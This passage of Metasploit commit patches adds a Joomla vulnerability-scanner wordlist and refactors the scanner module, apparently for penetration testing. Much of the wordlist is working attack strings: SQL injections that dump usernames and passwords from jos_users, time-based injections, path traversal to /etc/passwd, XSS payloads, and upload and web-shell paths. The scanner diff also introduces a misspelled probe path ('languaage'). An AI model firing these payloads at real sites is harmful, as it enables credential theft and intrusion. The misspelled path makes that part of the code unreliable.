/Apache-Coyote/ ] } From 75f3a62ac46eb2f94640c52b97fe70d94f254341 Mon Sep 17 00:00:00 2001 From: sinn3r <msfsinn3r@gmail.com> Date: Wed, 23 Jan 2013 16:43:36 -0600 Subject: [PATCH 54/87] Explain why we need this empty on_new_session --- modules/exploits/multi/http/sonicwall_gms_upload.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/sonicwall_gms_upload.rb b/modules/exploits/multi/http/sonicwall_gms_upload.rb index d0b10798ce..4abf1ce645 100644 --- a/modules/exploits/multi/http/sonicwall_gms_upload.rb +++ b/modules/exploits/multi/http/sonicwall_gms_upload.rb @@ -71,7 +71,7 @@ class Metasploit3 < Msf::Exploit::Remote def on_new_session - + # on_new_session will force stdapi to load (for Linux meterpreter) end From 6e94c04a52bc2f90557bffe332abaeb7030051f2 Mon Sep 17 00:00:00 2001 From: f8lerror <f8lerror+git@gmail.com> Date: Wed, 23 Jan 2013 20:26:23 -0500 Subject: [PATCH 55/87] Code Corrections and Enhancements --- data/wordlists/joomla.txt | 627 ++++++++++++++++++ .../auxiliary/scanner/http/joomla_vulnscan.rb | 160 +++-- 2 files changed, 719 insertions(+), 68 deletions(-) create mode 100755 data/wordlists/joomla.txt diff --git a/data/wordlists/joomla.txt b/data/wordlists/joomla.txt new file mode 100755 index 0000000000..b1e651d504 --- /dev/null +++ b/data/wordlists/joomla.txt @@ -0,0 +1,627 @@ +&controller=../../../../../../../../../../../../[LFI]%00 +?1.5.10-x +?1.5.11-x-http_ref +?1.5.11-x-php-s3lf +?1.5.3-path-disclose +?1.5.3-spam +?1.5.8-x +?1.5.9-x +?j1012-fixate-session +?option=com_mysms&Itemid=0&task=phonebook +Joomla_1.6.0-Alpha2-Full-Package/components/com_mailto/assets/close-x.png +admin/ +administrator/ +administrator/components/ +administrator/components/com_a6mambocredits/ +administrator/components/com_a6mambohelpdesk/ +administrator/components/com_admin/admin.admin.html.php +administrator/components/com_astatspro/refer.php +administrator/components/com_bayesiannaivefilter/ +administrator/components/com_chronocontact/excelwriter/PPS/File.php +administrator/components/com_colophon/ +administrator/components/com_colorlab/ +administrator/components/com_comprofiler/ +administrator/components/com_comprofiler/plugin.class.php +administrator/components/com_cropimage/admin.cropcanvas.php +administrator/components/com_extplorer/ +administrator/components/com_feederator/includes/tmsp/add_tmsp.php +administrator/components/com_googlebase/ +administrator/components/com_installer +administrator/components/com_jcs/ +administrator/components/com_jim/ +administrator/components/com_jjgallery/ +administrator/components/com_joom12pic/ +administrator/components/com_joomla-visites/ +administrator/components/com_joomla_flash_uploader/ +administrator/components/com_joomlaflashfun/ +administrator/components/com_joomlaradiov5/ +administrator/components/com_jpack/ +administrator/components/com_jreactions/ +administrator/components/com_juser/ +administrator/components/com_admin/ +administrator/components/com_kochsuite / +administrator/components/com_linkdirectory/ +administrator/components/com_livechat/getSavedChatRooms.php +administrator/components/com_livechat/xmlhttp.php +administrator/components/com_lurm_constructor/admin.lurm_constructor.php +administrator/components/com_maianmedia/utilities/charts/php-ofc-library/ofc_upload_image.php?name=lo.php"); +administrator/components/com_mambelfish/ +administrator/components/com_mgm/ +administrator/components/com_mmp/help.mmp.php +administrator/components/com_mosmedia/ +administrator/components/com_multibanners/extadminmenus.class.php +administrator/components/com_panoramic/ +administrator/components/com_peoplebook/param.peoplebook.php +administrator/components/com_phpshop/toolbar.phpshop.html.php +administrator/components/com_remository/admin.remository.php +administrator/components/com_serverstat/install.serverstat.php +administrator/components/com_simpleswfupload/uploadhandler.php"); +administrator/components/com_swmenupro/ +administrator/components/com_treeg/ +administrator/components/com_uhp/ +administrator/components/com_uhp2/ +administrator/components/com_webring/ +administrator/components/com_wmtgallery/ +administrator/components/com_wmtportfolio/ +administrator/components/com_x-shop/ +administrator/index.php?option=com_djartgallery&task=editItem&cid[]=1'+and+1=1+--+ +administrator/index.php?option=com_searchlog&act=log +ajaxim/ +akocomments.php +cart?Itemid=[SQLi] +component/com__brightweblinks/ +component/option,com_jdirectory/task,show_content/contentid,1067/catid,26/directory,1/Itemid,0 +component/osproperty/?task=agent_register +component/quran/index.php?option=com_quran&action=viewayat&surano= +components/com_ clickheat/ +components/com_5starhotels/ +components/com_Jambook/jambook.php +components/com_a6mambocredits/ +components/com_a6mambohelpdesk/ +components/com_ab_gallery/ +components/com_acajoom/ +components/com_acctexp/ +components/com_aclassf/ +components/com_activities/ +components/com_actualite/ +components/com_admin/admin.admin.html.php +components/com_advancedpoll/ +components/com_agora/ +components/com_agoragroup/ +components/com_ajaxchat/ +components/com_akobook/ +components/com_akocomment/ +components/com_akogallery +components/com_alberghi/ +components/com_allhotels/ +components/com_alphacontent/ +components/com_altas/ +components/com_amocourse/ +components/com_artforms/assets/captcha/includes/captchaform/imgcaptcha.php +components/com_articles/ +components/com_artist/ +components/com_artlinks/ +components/com_asortyment/ +components/com_astatspro/ +components/com_awesom/ +components/com_babackup/ +components/com_banners/ +components/com_bayesiannaivefilter/ +components/com_be_it_easypartner/ +components/com_beamospetition/ +components/com_biblestudy/ +components/com_biblioteca/views/biblioteca/tmpl/pdf.php?pag=1&testo=-a%25' UNION SELECT 1,username,password,4,5,6,7,8,9 FROM jos_users%23 +components/com_biblioteca/views/biblioteca/tmpl/stampa.php?pag=1&testo=-a%25' UNION SELECT 1,username,password,4,5,6,7,8,9 FROM jos_users%23 +components/com_blog/ +components/com_bookflip/ +components/com_bookjoomlas/ +components/com_booklibrary/ +components/com_books/ +components/com_bsadv/ +components/com_bsq_sitestats/ +components/com_bsq_sitestats/external/rssfeed.php +components/com_bsqsitestats/ +components/com_calendar/ +components/com_camelcitydb2/ +components/com_candle/ +components/com_casino_blackjack/ +components/com_casino_videopoker/ +components/com_casinobase/ +components/com_catalogproduction/ +components/com_catalogshop/ +components/com_category/ +components/com_cgtestimonial/video.php?url="><script>alert('xss');</script> +components/com_chronocontact/excelwriter/PPS/File.php +components/com_cinema/ +components/com_clasifier/ +components/com_classifieds/ +components/com_clickheat/ +components/com_cloner/ +components/com_cmimarketplace/ +components/com_cms/ +components/com_colophon/ +components/com_colorlab/ +components/com_competitions/ +components/com_comprofiler/ +components/com_comprofiler/plugin.class.php +components/com_contactinfo/ +components/com_content/ +components/com_cpg/cpg.php +components/com_cropimage/admin.cropcanvas.php +components/com_custompages/ +components/com_cx/ +components/com_d3000/ +components/com_dadamail/ +components/com_dailymessage/ +components/com_datsogallery/ +components/com_dbquery/ +components/com_detail/ +components/com_digistore/ +components/com_directory/ +components/com_djiceshoutbox/ +components/com_doc/ +components/com_downloads/ +components/com_ds-syndicate/ +components/com_dtregister/ +components/com_dv/externals/phpupload/upload.php"); +components/com_easybook/ +components/com_emcomposer/ +components/com_equotes/ +components/com_estateagent/ +components/com_eventing/ +components/com_eventlist/ +components/com_events/ +components/com_ewriting/ +components/com_expose/uploadimg.php +components/com_expshop/ +components/com_extcalendar/ +components/com_extcalendar/cal_popup.php?extmode=view&extid= +components/com_extcalendar/extcalendar.php +components/com_extended_registration/registration_detailed.inc.php +components/com_extplorer/ +components/com_ezine/ +components/com_ezstore/ +components/com_facileforms/ +components/com_fantasytournament/ +components/com_faq/ +components/com_feederator/includes/tmsp/add_tmsp.php +components/com_filebase/ +components/com_filiale/ +components/com_flashfun/ +components/com_flashmagazinedeluxe/ +components/com_flippingbook/ +components/com_flyspray/startdown.php +components/com_fm/fm.install.php +components/com_foevpartners/ +components/com_football/ +components/com_formtool/ +components/com_forum/ +components/com_fq/ +components/com_fundraiser/ +components/com_galeria/ +components/com_galleria/galleria.html.php +components/com_gallery/ +components/com_game/ +components/com_gameq/ +components/com_garyscookbook/ +components/com_genealogy/ +components/com_geoboerse/ +components/com_gigcal/ +components/com_gmaps/ +components/com_googlebase/ +components/com_gsticketsystem/ +components/com_guide/ +components/com_hashcash/server.php +components/com_hbssearch/ +components/com_hello_world/ +components/com_hotproperties/ +components/com_hotproperty/ +components/com_hotspots/ +components/com_htmlarea3_xtd-c/popups/ImageManager/config.inc.php +components/com_hwdvideoshare/ +components/com_hwdvideoshare/assets/uploads/flash/flash_upload.php?jqUploader=1"); +components/com_ice/ +components/com_idoblog/ +components/com_idvnews/ +components/com_ignitegallery/ +components/com_ijoomla_archive/ +components/com_ijoomla_rss/ +components/com_inter/ +components/com_ionfiles/ +components/com_is/ +components/com_ixxocart/ +components/com_jabode/ +components/com_jashowcase/ +components/com_jb2/ +components/com_jce/ +components/com_jcs/ +components/com_jd-wiki/ +components/com_jd-wp/ +components/com_jim/ +components/com_jjgallery/ +components/com_jmovies/ +components/com_jobline/ +components/com_jombib/ +components/com_joobb/ +components/com_jooget/ +components/com_joom12pic/ +components/com_joomla-visites/ +components/com_joomla_flash_uploader/ +components/com_joomlaboard/ +components/com_joomladate/ +components/com_joomlaflashfun/ +components/com_joomlalib/ +components/com_joomlaradiov5/ +components/com_joomlavvz/ +components/com_joomlaxplorer/ +components/com_joomloads/ +components/com_joomradio/ +components/com_joomtracker/ +components/com_joovideo/ +components/com_jotloader/ +components/com_journal/ +components/com_jpack/ +components/com_jpad/ +components/com_jreactions/ +components/com_jreviews/scripts/xajax.inc.php +components/com_jumi/ +components/com_juser/ +components/com_jvideo/ +components/com_k2/ +components/com_kbase/ +components/com_knowledgebase/fckeditor/fckeditor.js +components/com_kochsuite / +components/com_kunena/ +components/com_letterman/ +components/com_lexikon/ +components/com_linkdirectory/ +components/com_listoffreeads/ +components/com_livechat/getSavedChatRooms.php +components/com_livechat/xmlhttp.php +components/com_liveticker/ +components/com_lm/ +components/com_lmo/ +components/com_loudmounth/includes/abbc/abbc.class.php +components/com_loudmouth/ +components/com_lowcosthotels/ +components/com_lurm_constructor/admin.lurm_constructor.php +components/com_mad4joomla/ +components/com_madeira/img.php +components/com_maianmusic/ +components/com_mailarchive/ +components/com_mailto/ +components/com_mambatstaff/mambatstaff.php +components/com_mambelfish/ +components/com_mambospgm/ +components/com_mambowiki/MamboLogin.php +components/com_marketplace/ +components/com_mcquiz/ +components/com_mdigg/ +components/com_media_library/ +components/com_mediaslide/ +components/com_mezun/ +components/com_mgm/ +components/com_minibb/ +components/com_misterestate/ +components/com_mmp/help.mmp.php +components/com_model/ +components/com_moodle/moodle.php +components/com_moofaq/ +components/com_mosmedia/ +components/com_mospray/scripts/admin.php +components/com_mosres/ +components/com_most/ +components/com_mp3_allopass/ +components/com_mtree/ +components/com_mtree/img/listings/o/{id}.php +components/com_multibanners/extadminmenus.class.php +components/com_myalbum/ +components/com_mycontent/ +components/com_mydyngallery/ +components/com_mygallery/ +components/com_n-forms/ +components/com_na_content/ +components/com_na_mydocs/ +components/com_na_newsdescription/ +components/com_na_qforms/ +components/com_neogallery/ +components/com_neorecruit/ +components/com_neoreferences/ +components/com_netinvoice/ +components/com_news/ +components/com_news_portal/ +components/com_newsflash/ +components/com_nfn_addressbook/ +components/com_nicetalk/ +components/com_noticias/ +components/com_omnirealestate/ +components/com_omphotogallery/ +components/com_ongumatimesheet20/ +components/com_onlineflashquiz/ +components/com_ownbiblio/ +components/com_panoramic/ +components/com_paxgallery/ +components/com_paxxgallery/ +components/com_pcchess/ +components/com_pcchess/include.pcchess.php +components/com_pccookbook/ +components/com_pccookbook/pccookbook.php +components/com_peoplebook/param.peoplebook.php +components/com_performs/ +components/com_philaform/ +components/com_phocadocumentation/ +components/com_php/ +components/com_phpshop/toolbar.phpshop.html.php +components/com_pinboard/ +components/com_pms/ +components/com_poll/ +components/com_pollxt/ +components/com_ponygallery/ +components/com_portafolio/ +components/com_portfol/ +components/com_prayercenter/ +components/com_pro_desk/ +components/com_prod/ +components/com_productshowcase/ +components/com_profiler/ +components/com_projectfork/ +components/com_propertylab/ +components/com_puarcade/ +components/com_publication/ +components/com_quiz/ +components/com_rapidrecipe/ +components/com_rdautos/ +components/com_realestatemanager/ +components/com_recly/ +components/com_referenzen/ +components/com_rekry/ +components/com_remository/admin.remository.php +components/com_remository_files/file_image_14/1276100016shell.php +components/com_reporter/processor/reporter.sql.php +components/com_resman/ +components/com_restaurante/ +components/com_ricette/ +components/com_rsfiles/ +components/com_rsgallery/ +components/com_rsgallery2/ +components/com_rss/ +components/com_rssreader/ +components/com_rssxt/ +components/com_rwcards/ +components/com_school/ +components/com_search/ +components/com_sebercart/getPic.php?p=[LFD]%00 +components/com_securityimages/ +components/com_sef/ +components/com_seminar/ +components/com_serverstat/install.serverstat.php +components/com_sg/ +components/com_simple_review/ +components/com_simpleboard/ +components/com_simplefaq/ +components/com_simpleshop/ +components/com_sitemap/sitemap.xml.php +components/com_slideshow/ +components/com_smf/ +components/com_smf/smf.php +components/com_swmenupro/ +components/com_team/ +components/com_tech_article/ +components/com_thopper/ +components/com_thyme/ +components/com_tickets/ +components/com_tophotelmodule/ +components/com_tour_toto/ +components/com_trade/ +components/com_uhp/ +components/com_uhp2/ +components/com_user/controller.php +components/com_users/ +components/com_utchat/pfc/lib/pear/PHPUnit/GUI/Gtk.php +components/com_vehiclemanager/ +components/com_versioning / +components/com_videodb/core/videodb.class.xml.php +components/com_virtuemart/ +components/com_volunteer/ +components/com_vr/ +components/com_waticketsystem/ +components/com_webhosting/ +components/com_weblinks/ +components/com_webring/ +components/com_wmtgallery/ +components/com_wmtportfolio/ +components/com_x-shop/ +components/com_xevidmegahd/ +components/com_xewebtv/ +components/com_xfaq/ +components/com_xgallery/helpers/img.php?file= +components/com_xsstream-dm/ +components/com_ynews/ +components/com_yvcomment/ +components/com_zoom/classes/ +components/mod_letterman/ +components/remository/ +eXtplorer/ +easyblog/entry/uncategorized +extplorer/ +components/com_mtree/img/listings/o/{id}.php where {id} +includes/joomla.php +index.php/404' +index.php/?option=com_question&catID=21' and+1=0 union all +index.php/image-gallery/"><script>alert('xss')</script>/25-koala +index.php?file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&jat3action=gzip&type=css&v=1 +index.php?option=com_aardvertiser&cat_name=Vehicles'+AND+'1'='1&task=view +index.php?option=com_aardvertiser&cat_name=conf&task=<= +index.php?option=com_aardvertiser&task= +index.php?option=com_abc&view=abc&letter=AS§ionid=' +index.php?option=com_advert&id=36' +index.php?option=com_alameda&controller=comments&task=edit&storeid=-1+union+all+select+concat_ws(0x3a,username,password)+from+jos_users-- +index.php?option=com_alfurqan15x&action=viewayat&surano= +index.php?option=com_amblog&view=amblog&catid=-1 UNION SELECT @@version +index.php?option=com_annonces&view=edit&Itemid=1 +index.php?option=com_articleman&task=new +index.php?option=com_bbs&bid=-1 +index.php?option=com_beamospetition&startpage=3&pet=- +index.php?option=com_beamospetition&startpage=3&pet=-1+Union+select+user()+from+jos_users- +index.php?option=com_bearleague&task=team&tid=8&sid=1&Itemid=%27 +index.php?option=com_beeheard&controller=../../../../../../../../../../etc/passwd%00 +index.php?option=com_biblioteca&view=biblioteca&testo=-a%25' UNION SELECT 1,username,password,4,5,6,7,8,9 FROM jos_users%23 +index.php?option=com_blogfactory&controller=../../../../../../../../../../etc/passwd%00 +index.php?option=com_bnf&task=listar&action=filter_add&seccion=pago&seccion_id=-1 +index.php?option=com_camelcitydb2&id=-3+union+select+1,2,concat(username,0x3a,password),4,5,6,7,8,9,10,11+from+jos_users-- +index.php?option=com_chronoconnectivity&itemid=1 +index.php?option=com_chronocontact&itemid=1 +index.php?option=com_cinema&Itemid=S@BUN&func=detail&id= +index.php?option=com_clantools&squad=1+ +index.php?option=com_clantools&task=clanwar&showgame=1+ +index.php?option=com_commedia&format=raw&task=image&pid=4&id=964' +index.php?option=com_commedia&task=page&commpid=21 +index.php?option=com_connect&view=connect&controller= +index.php?option=com_content&view=article&id=[A VALID ID]&Itemid=[A VALID ID]&sflaction=dir&sflDir=../../../ +index.php?option=com_delicious&controller=../../../../../../../../../../etc/passwd%00 +index.php?option=com_dioneformwizard&controller=[LFI]%00 +index.php?option=com_discussions&view=thread&catid=[Correct CatID]&thread=-1 +index.php?option=com_dshop&controller=fpage&task=flypage&idofitem=12 +index.php?option=com_easyfaq&Itemid=1&task=view&gid= +index.php?option=com_easyfaq&catid=1&task=view&id=-2527+ +index.php?option=com_easyfaq&task=view&contact_id= +index.php?option=com_elite_experts&task=showExpertProfileDetailed&getExpertsFromCountry=&language=ru&id= +index.php?option=com_equipment&task=components&id=45&sec_men_id= +index.php?option=com_equipment&view=details&id= +index.php?option=com_estateagent&Itemid=47&act=object&task=showEO&id=[sqli] +index.php?option=com_etree&view=displays&layout=category&id=[SQL] +index.php?option=com_etree&view=displays&layout=user&user_id=[SQL] +index.php?option=com_ezautos&Itemid=49&id=1&task=helpers&firstCode=1 +index.php?option=com_fabrik&view=table&tableid=13+union+select+1---- +index.php?option=com_filecabinet&task=download&cid[]=7 +index.php?option=com_firmy&task=section_show_set&Id=-1 +index.php?option=com_fss&view=test&prodid=777777.7'+union+all+select+77777777777777%2C77777777777777%2C77777777777777%2Cversion()%2C77777777777777%2C77777777777777%2C77777777777777%2C77777777777777%2C77777777777777%2C77777777777777%2C77777777777777--+D4NB4R +index.php?option=com_golfcourseguide&view=golfcourses&cid=1&id= +index.php?option=com_graphics&controller= +index.php?option=com_grid&gid=15_ok_0',%20'15_ok_0&data_search= +index.php?option=com_grid&gid=15_ok_0',%20'15_ok_0?data_search=&rpp= +index.php?option=com_huruhelpdesk&view=detail +index.php?option=com_huruhelpdesk&view=detail&cid[0]= +index.php?option=com_huruhelpdesk&view=detail&cid[0]=-1 +index.php?option=com_icagenda&view=list&layout=event&Itemid=520&id=1 and 1=1 +index.php?option=com_icagenda&view=list&layout=event&Itemid=520&id=1 and 1=2 +index.php?option=com_icagenda&view=list&layout=event&Itemid=520&id[]=1 +index.php?option=com_iproperty&view=agentproperties&id= +index.php?option=com_jacomment&view= +index.php?option=com_jacomment&view=../../../../../../../../../../etc/passwd%00 +index.php?option=com_javoice&view=../../../../../../../../../../../../../../../etc/passwd%00 +index.php?option=com_jcommunity&controller=members&task=1' +index.php?option=com_jeajaxeventcalendar&view=alleventlist_more&event_id=-13 +index.php?option=com_jefaqpro&view=category&layout=categorylist&catid=2 +index.php?option=com_jefaqpro&view=category&layout=categorylist&task=lists&catid=2 +index.php?option=com_jeguestbook&view=../../../../../../../../etc/passwd%00 +index.php?option=com_jeguestbook&view=item_detail&d_itemid=-1 OR (SELECT(IF(0x41=0x41, BENCHMARK(999999999,NULL),NULL))) +index.php?option=com_jfuploader&Itemid= +index.php?option=com_jgen&task=view&id= +index.php?option=com_jgrid&controller=../../../../../../../../etc/passwd%00 +index.php?option=com_jimtawl&Itemid=12&task= +index.php?option=com_jmarket&controller=product&task=1' +index.php?option=com_jobprofile&Itemid=61&task=profilesview&id=1' +index.php?option=com_jomdirectory&task=search&type=111+ +index.php?option=com_joomdle&view=detail&cat_id=1&course_id= +index.php?option=com_joomla_flash_uploader&Itemid=1 +index.php?option=com_joomleague&func=showNextMatch&p=[sqli] +index.php?option=com_joomleague&view=resultsmatrix&p=4&Itemid=[sqli] +index.php?option=com_joomtouch&controller= +index.php?option=com_jphone&controller../../../../../../../../../../etc/passwd%00 +index.php?option=com_jphone&controller../../../../../../../../../../proc/self/environ%00 +index.php?option=com_jscalendar&view=jscalendar&task=details&ev_id=999 UNION SELECT 1,username,password,4,5,6,7,8 FROM jos_users +index.php?option=com_jstore&controller=product-display&task=1' +index.php?option=com_jsubscription&controller=subscription&task=1' +index.php?option=com_jtickets&controller=ticket&task=1' +index.php?option=com_konsultasi&act=detail&sid= +index.php?option=com_ksadvertiser&Itemid=36&task=add&catid=0&lang=en +index.php?option=com_kunena&func=userlist&search= +index.php?option=com_lead&task=display&archive=1&Itemid=65&leadstatus=1' +index.php?option=com_lovefactory&controller=../../../../../../../../../../etc/passwd%00 +index.php?option=com_markt&page=show_category&catid=7+union+select+0,1,password,3,4,5,username,7,8+from+jos_users-- +index.php?option=com_matamko&controller= +index.php?option=com_myhome&task=4&nidimmindex.php?option=com_myhome&task=4&nidimm +index.php?option=com_neorecruit&task=offer_view&id= +index.php?option=com_newsfeeds&view=categories&feedid=-1%20union%20select%201,concat%28username,char%2858%29,password%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30%20from%20jos_users-- +index.php?option=com_noticeboard&controller= +index.php?option=com_obsuggest&controller= +index.php?option=com_ongallery&task=ft&id=-1+order+by+1-- +index.php?option=com_ongallery&task=ft&id=-1+union+select+1-- +index.php?option=com_oziogallery&Itemid= +index.php?option=com_page&id=53 +index.php?option=com_pbbooking&task=validate&id=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(999999999,NULL),NULL))) +index.php?option=com_pcchess&controller=../../../../../../../../../../../../../etc/passwd%00 +index.php?option=com_peliculas&view=peliculas&id=null[Sql Injection] +index.php?option=com_phocagallery&view=categories&Itemid= +index.php?option=com_photomapgallery&view=imagehandler&folder=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(9999999999,NULL),NULL))) +index.php?option=com_php&file=../../../../../../../../../../etc/passwd +index.php?option=com_php&file=../images/phplogo.jpg +index.php?option=com_php&file=../js/ie_pngfix.js +index.php?option=com_ponygallery&Itemid=[sqli] +index.php?option=com_products&catid=-1 +index.php?option=com_products&id=-1 +index.php?option=com_products&product_id=-1 +index.php?option=com_products&task=category&catid=-1 +index.php?option=com_properties&task=agentlisting&aid= +index.php?option=com_qcontacts&Itemid=1' +index.php?option=com_qcontacts?=catid=0&filter_order=[SQLi]&filter_order_Dir=&option=com_qcontacts +index.php?option=com_record&controller=../../../../../../../../../../etc/passwd%00 +index.php?option=com_restaurantguide&view=country&id='&Itemid=69 +index.php?option=com_rokmodule&tmpl=component&type=raw&module=1' +index.php?option=com_seyret&view= +index.php?option=com_simpleshop&Itemid=26&task=viewprod&id=-999.9 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,concat(username,0x3e,password,0x3e,usertype,0x3e,lastvisitdate)+from+jos_users-- +index.php?option=com_smartsite&controller= +index.php?option=com_spa&view=spa_product&cid= +index.php?option=com_spidercalendar +index.php?option=com_spidercalendar&date=1' +index.php?option=com_spielothek&task=savebattle&bid=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(9999999999,NULL),NULL))) +index.php?option=com_spielothek&view=battle&wtbattle=ddbdelete&dbtable=vS&loeschen[0]=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(9999999999,NULL),NULL))) +index.php?option=com_spielothek&view=battle&wtbattle=play&bid=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(9999999999,NULL),NULL))) +index.php?option=com_staticxt&staticfile=test.php&id=1923 +index.php?option=com_szallasok&mode=8&id=25 (SQL) +index.php?option=com_tag&task=tag&tag= +index.php?option=com_timereturns&view=timereturns&id=7+union+all+select+concat_ws(0x3a,username,password),2,3,4,5,6+from+jos_users-- +index.php?option=com_timetrack&view=timetrack&ct_id=-1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,CONCAT(username,0x3A,password) FROM jos_users +index.php?option=com_ultimateportfolio&controller= +index.php?option=com_users&view=registration +index.php?option=com_virtuemart&page=account.index&keyword=[sqli] +index.php?option=com_worldrates&controller=../../../../../../../../../../etc/passwd%00 +index.php?option=com_x-shop&action=artdetail&idd=' +index.php?option=com_x-shop&action=artdetail&idd='[SQLi] +index.php?option=com_xcomp&controller=../../[LFI]%00 +index.php?option=com_xvs&controller=../../[LFI]%00 +index.php?option=com_yellowpages&cat=-1923+UNION+SELECT 1,concat_ws(0x3a,username,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37+from+jos_users--+Union+select+user()+from+jos_users-- +index.php?option=com_yjcontactus&view= +index.php?option=com_youtube&id_cate=4 +index.php?option=com_zina&view=zina&Itemid=9 +index.php?option=com_zoomportfolio&view=portfolio&view=portfolio&id= +index.php?search=NoGe&option=com_esearch&searchId= +index.php?view=videos&type=member&user_id=-62+union+select+1,2,3,4,5,6,7,8,9,10,11,12,group_concat(username,0x3a,password),14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+jos_users--&option=com_jomtube +index2.php?option=com_joomradio&page=show_video&id=-13+union+select+1,group_concat(username,0x3a,password),3,4,5,6,7+from+jos_users-- +js/index.php?option=com_socialads&view=showad&Itemid=94 +libraries/joomla/utilities/compat/php50x.php +libraries/pcl/pcltar.php +libraries/phpmailer/phpmailer.php +libraries/phpxmlrpc/xmlrpcs.php +modules/mod_artuploader/upload.php"); +modules/mod_as_category.php +modules/mod_calendar.php +modules/mod_ccnewsletter/helper/popup.php?id=[SQLi] +modules/mod_dionefileuploader/upload.php?module_dir=./&module_max=2097152&file_type=application/octet-stream"); +modules/mod_jfancy/script.php"); +modules/mod_ppc_simple_spotlight/elements/upload_file.php +modules/mod_ppc_simple_spotlight/img/ +modules/mod_pxt/ +modules/mod_quick_question.php +modules/mod_visitorsgooglemap/map_data.php?action=listpoints&lastMarkerID=0 +patch/makedown.php?arquivo=../../../../etc/passwd +plugins/content/efup_files/helper.php"); +plugins/editors/idoeditor/themes/advanced/php/image.php" method="post" enctype="multipart/form-data"> +plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/ +plugins/editors/xstandard/attachmentlibrary.php +print.php?task=person&id=36 and 1=1 +templates/be2004-2/ +templates/ja_purity/ +wap/wapmain.php?option=onews&action=link&id=-154+union+select+1,2,3,concat(username,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28+from+jos_users+limit+0,1-- +web/index.php?option=com_rokmodule&tmpl=component&type=raw&module=1' diff --git a/modules/auxiliary/scanner/http/joomla_vulnscan.rb b/modules/auxiliary/scanner/http/joomla_vulnscan.rb index 37bfc3d173..7b497d1846 100755 --- a/modules/auxiliary/scanner/http/joomla_vulnscan.rb +++ b/modules/auxiliary/scanner/http/joomla_vulnscan.rb @@ -2,7 +2,7 @@ # $Id: joomla_vulnscan.rb ## ## -#Thanks to @zeroSteiner @kaospunk helping with examples and questions. Also thanks to Joomscan and various MSF modules for code examples. +# Huge thanks to @zeroSteiner for helping me. Also thanks to @kaospunk. Finally thanks to Joomscan and various MSF modules for code examples. ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit @@ -21,30 +21,30 @@ class Metasploit3 < Msf::Auxiliary super( 'Name' => 'Joomla Scanner', 'Description' => %q{ - This module scans a Joomla install for information and potential vulnerabilites. + This module scans a Joomla install for information, plugins and potential vulnerabilites. }, 'Author' => [ 'f8lerror' ], 'License' => MSF_LICENSE ) - register_options( + register_options( [ - OptString.new('PATH', [ true, "The path to the Joomla install", '/']), + OptString.new('TARGETURI', [ true, "The path to the Joomla install", '/']), OptBool.new('ENUMERATE', [ false, "Enumerate Plugins", true]), OptPath.new('PLUGINS', [ false, "Path to list of plugins to enumerate", - File.join(Msf::Config.install_root, "data", "wordlists", "pcheck.txt") + File.join(Msf::Config.install_root, "data", "wordlists", "joomla.txt") ] ) ], self.class) end - def osfingerprint (response) + def osfingerprint(response) if(response.headers.has_key?('Server') ) if(response.headers['Server'] =~/Win32/ or response.headers['Server'] =~ /\(Windows/ or response.headers['Server'] =~ /IIS/) os = "Windows" elsif(response.headers['Server'] =~ /Apache\// and response.headers['Server'] !~/(Win32)/) - os = "*Nix" + os = "*Nix" else os = "Unknown Server Header Reporting: "+response.headers['Server'] end @@ -52,8 +52,7 @@ class Metasploit3 < Msf::Auxiliary return os end - def fingerprint (response, app) - + def fingerprint(response, app) if(response.body =~ /<version.*\/?>(.+)<\/version\/?>/i) v = $1 out = (v =~ /^6/) ? "Joomla #{v}" : " #{v}" @@ -87,58 +86,65 @@ class Metasploit3 < Msf::Auxiliary return out end - def run_host (ip) - tpath = datastore['PATH'] - if tpath[-1,1] != '/' + def peer + return "#{rhost}:#{rport}" + end + + def run_host(ip) + tpath = normalize_uri(target_uri.path) + if tpath[-1,1] != '/' tpath += '/' - end - apps = [ 'language/en-GB/en-GB.xml', + end + apps = [ 'languaage/en-GB/en-GB.xml', 'templates/system/css/system.css', 'media/system/js/mootools-more.js', 'language/en-GB/en-GB.ini','htaccess.txt', 'language/en-GB/en-GB.com_media.ini'] - iapps = ['robots.txt','administrator/index.php','/admin/','index.php/using-joomla/extensions/components/users-component/registration-form', + iapps = ['robots.txt','administrator/index.php','admin/','index.php/using-joomla/extensions/components/users-component/registration-form', 'index.php/component/users/?view=registration','htaccess.txt'] - print_status("Checking Host: #{ip} for version information") + apps.each do |app| - break if check_app(tpath,app,ip) + app_status = check_app(tpath, app, ip) + return if app_status == :abort + break if app_status end - print_status("Scanning #{ip} for interesting pages") + vprint_status("#{peer} - Checking host for interesting pages") iapps.each do |iapp| scan_pages(tpath,iapp,ip) end if datastore['ENUMERATE'] - print_status("Scanning #{ip} for plugins") + vprint_status("#{peer} - Checking host for interesting plugins") bres = send_request_cgi({ 'uri' => tpath, 'method' => 'GET', }, 5) - return if not bres or not bres.body or not bres.code + return false if not bres or not bres.body or not bres.code bres.body.gsub!(/[\r|\n]/, ' ') File.open(datastore['PLUGINS'], 'rb').each_line do |bapp| papp = bapp.chomp plugin_search(tpath,papp,ip,bres) end end - end - def check_app (tpath, app, ip) + def check_app(tpath, app, ip) res = send_request_cgi({ - 'uri' => "#{datastore['PATH']}" << app, + 'uri' => "#{tpath}" << app, 'method' => 'GET', }, 5) - return if not res or not res.body or not res.code + return :abort if res.nil? + return false if not res or not res.body or not res.code + vprint_status("#{peer} - Checking host for version information") res.body.gsub!(/[\r|\n]/, ' ') os = osfingerprint(res) - if (res.code.to_i == 200) + if (res.code == 200) out = fingerprint(res,app) return if not out 